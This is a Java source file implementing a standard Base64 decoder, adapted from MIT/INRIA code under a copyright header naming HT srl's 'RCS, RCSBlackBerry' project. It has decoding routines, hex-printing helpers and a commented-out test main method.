//#preprocess

/* *************************************************
 * Copyright (c) 2010 - 2012
 * HT srl,   All rights reserved.
 * 
 * Project      : RCS, RCSBlackBerry
 * *************************************************/

// Base64Decoder.java
// (c) COPYRIGHT MIT and INRIA, 1996.
// Please first read the full copyright statement in file COPYRIGHT.html

package rpc.codec.base64;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;

/**
 * Decode a BASE64 encoded input stream to some output stream. This class
 * implements BASE64 decoding, as specified in the <a
 * href="http://ds.internic.net/rfc/rfc1521.txt">MIME specification</a>.
 * 
 * @see rpc.codec.base64.Base64Encoder
 */

public class Base64Decoder {
    private static final int BUFFER_SIZE = 1024;

    InputStream in = null;
    OutputStream out = null;
    boolean stringp = false;

    private void printHex(int x) {
        int h = (x & 0xf0) >> 4;
        int l = (x & 0x0f);
        System.out.print((new Character((char) ((h > 9) ? 'A' + h - 10
                : '0' + h))).toString()
                + (new Character((char) ((l > 9) ? 'A' + l - 10 : '0' + l)))
                        .toString());
    }

    private void printHex(byte buf[], int off, int len) {
        while (off < len) {
            printHex(buf[off++]);
            System.out.print(" ");
        }
        System.out.println("");
    }

    private void printHex(String s) {
        byte bytes[];
        try {
            bytes = s.getBytes("ISO-8859-1");
        } catch (UnsupportedEncodingException ex) {
            throw new RuntimeException(this.getClass().getName()
                    + "[printHex] Unable to convert" + "properly char to bytes");
        }
        printHex(bytes, 0, bytes.length);
    }

    private final int get1(byte buf[], int off) {
        return ((buf[off] & 0x3f) << 2) | ((buf[off + 1] & 0x30) >>> 4);
    }

    private final int get2(byte buf[], int off) {
        return ((buf[off + 1] & 0x0f) << 4) | ((buf[off + 2] & 0x3c) >>> 2);
    }

    private final int get3(byte buf[], int off) {
        return ((buf[off + 2] & 0x03) << 6) | (buf[off + 3] & 0x3f);
    }

    private final int check(int ch) {
        if ((ch >= 'A') && (ch <= 'Z')) {
            return ch - 'A';
        } else if ((ch >= 'a') && (ch <= 'z')) {
            return ch - 'a' + 26;
        } else if ((ch >= '0') && (ch <= '9')) {
            return ch - '0' + 52;
        } else {
            switch (ch) {
                case '=':
                    return 65;
                case '+':
                    return 62;
                case '/':
                    return 63;
                default:
                    return -1;
            }
        }
    }

    /**
     * Do the actual decoding. Process the input stream by decoding it and
     * emiting the resulting bytes into the output stream.
     * 
     * @throws IOException
     *             If the input or output stream accesses failed.
     * @throws Base64FormatException
     *             If the input stream is not compliant with the BASE64
     *             specification.
     */

    public void process() throws IOException, Base64FormatException {
        byte buffer[] = new byte[BUFFER_SIZE];
        byte chunk[] = new byte[4];
        int got = -1;
        int ready = 0;

        fill: while ((got = in.read(buffer)) > 0) {
            int skiped = 0;
            while (skiped < got) {
                // Check for un-understood characters:
                while (ready < 4) {
                    if (skiped >= got)
                        continue fill;
                    int ch = check(buffer[skiped++]);
                    if (ch >= 0)
                        chunk[ready++] = (byte) ch;
                }
                if (chunk[2] == 65) {
                    out.write(get1(chunk, 0));
                    return;
                } else if (chunk[3] == 65) {
                    out.write(get1(chunk, 0));
                    out.write(get2(chunk, 0));
                    return;
                } else {
                    out.write(get1(chunk, 0));
                    out.write(get2(chunk, 0));
                    out.write(get3(chunk, 0));
                }
                ready = 0;
            }
        }
        if (ready != 0)
            throw new Base64FormatException("Invalid length.");
        out.flush();
    }

    /**
     * Do the decoding, and return a String. This methods should be called when
     * the decoder is used in <em>String</em> mode. It decodes the input string
     * to an output string that is returned.
     * 
     * @throws RuntimeException
     *             If the object wasn't constructed to decode a String.
     * @throws Base64FormatException
     *             If the input string is not compliant with the BASE64
     *             specification.
     */

    public String processString() throws Base64FormatException {
        if (!stringp)
            throw new RuntimeException(this.getClass().getName()
                    + "[processString]" + "invalid call (not a String)");
        try {
            process();
        } catch (IOException e) {
        }
        String s;
        //	try {
        //	    s = ((ByteArrayOutputStream) out).toString("ISO-8859-1") ;
        //	} catch (UnsupportedEncodingException ex) {
        //	    throw new RuntimeException(this.getClass().getName() +
        //				       "[processString] Unable to convert" +
        //				       "properly char to bytes");
        s = ((ByteArrayOutputStream) out).toString();
        return s;
    }

    /**
     * Create a decoder to decode a String.
     * 
     * @param input
     *            The string to be decoded.
     */

    public Base64Decoder(String input) {
        byte bytes[];
        try {
            bytes = input.getBytes("ISO-8859-1");
        } catch (UnsupportedEncodingException ex) {
            throw new RuntimeException(this.getClass().getName()
                    + "[Constructor] Unable to convert"
                    + "properly char to bytes");
        }
        this.stringp = true;
        this.in = new ByteArrayInputStream(bytes);
        this.out = new ByteArrayOutputStream();
    }

    /**
     * Create a decoder to decode a stream.
     * 
     * @param in
     *            The input stream (to be decoded).
     * @param out
     *            The output stream, to write decoded data to.
     */

    public Base64Decoder(InputStream in, OutputStream out) {
        this.in = in;
        this.out = out;
        this.stringp = false;
    }

    //    /**
    //     * Test the decoder.
    //     * Run it with one argument: the string to be decoded, it will print out
    //     * the decoded value.
    //     */
    //
    //    public static void main (String args[]) {
    //	if ( args.length == 1 ) {
    //	    try {
    //		Base64Decoder b = new Base64Decoder (args[0]) ;
    //		System.out.println ("["+b.processString()+"]") ;
    //	    } catch (Base64FormatException e) {
    //		System.out.println ("Invalid Base64 format !") ;
    //		System.exit (1) ;
    //	    }
    //	} else if ((args.length == 2) && (args[0].equals("-f"))) {
    //	    try {
    //		FileInputStream in = new FileInputStream(args[1]) ;
    //		Base64Decoder b = new Base64Decoder (in, System.out);
    //		b.process();
    //	    } catch (Exception ex) {
    //		System.out.println("error: " + ex.getMessage());
    //		System.exit(1) ;
    //	    }
    //	} else {
    //	    System.out.println("Base64Decoder [strong] [-f file]");
    //	}
    //	System.exit (0) ;
    //    }
}
